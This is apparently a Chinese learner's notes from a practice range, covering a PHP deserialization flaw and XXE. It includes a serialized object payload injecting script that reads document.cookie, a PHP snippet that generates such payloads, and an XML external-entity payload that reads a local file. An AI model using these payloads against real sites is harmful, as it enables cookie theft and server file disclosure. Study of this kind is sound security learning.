目录
PHP反序列化漏洞
直接拿概述里的payload试试,O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";},看到弹窗,把第二个s后面的29改成39,把alert('xss')改成alert(document.cookie),再提交试试
至于不知道怎么写payload,用浏览器访问这个php文件试试,payload那行要写什么先想好,访问后会直接解析将序列化后的payload显示出来,但script的内容不显示,从检查里面给它复制出来拼接好再去靶场输入,或者直接找在线的php工具
<?php
class R{
var $tmd="rnmd";
}
$r= new R();
$payload="<script>alert(document.cookie)</script>";
$r->tmd=$payload;
echo serialize($r);
?>
查看源码可以看到反序列化后的结果并没有被转义或者过滤,从而导致了恶意代码被当成正常代码运行
XXE漏洞
我没学过XML啊(愁眉苦脸),只能靠百度了,百度了一番,说是什么XML是被用来结构化、存储和传输信息的
<?xml version = "1.0"?> //XML声明部分
//文档类型定义↓
<!DOCTYPE ANY [
<!ENTITY try SYSTEM "C://1.txt">
]>
//↑定义实体类型,引用外部url
<name>&try;</name> //XML引用
大致意思就是要写段xml代码执行读取系统里的某个文件,这里书接上回继续读1.txt文件
但是呢,php常用的libxml目前都是禁止解析外部实体内容的(目前版本都超过2.9了),意思就是这个漏洞存在的可能性很低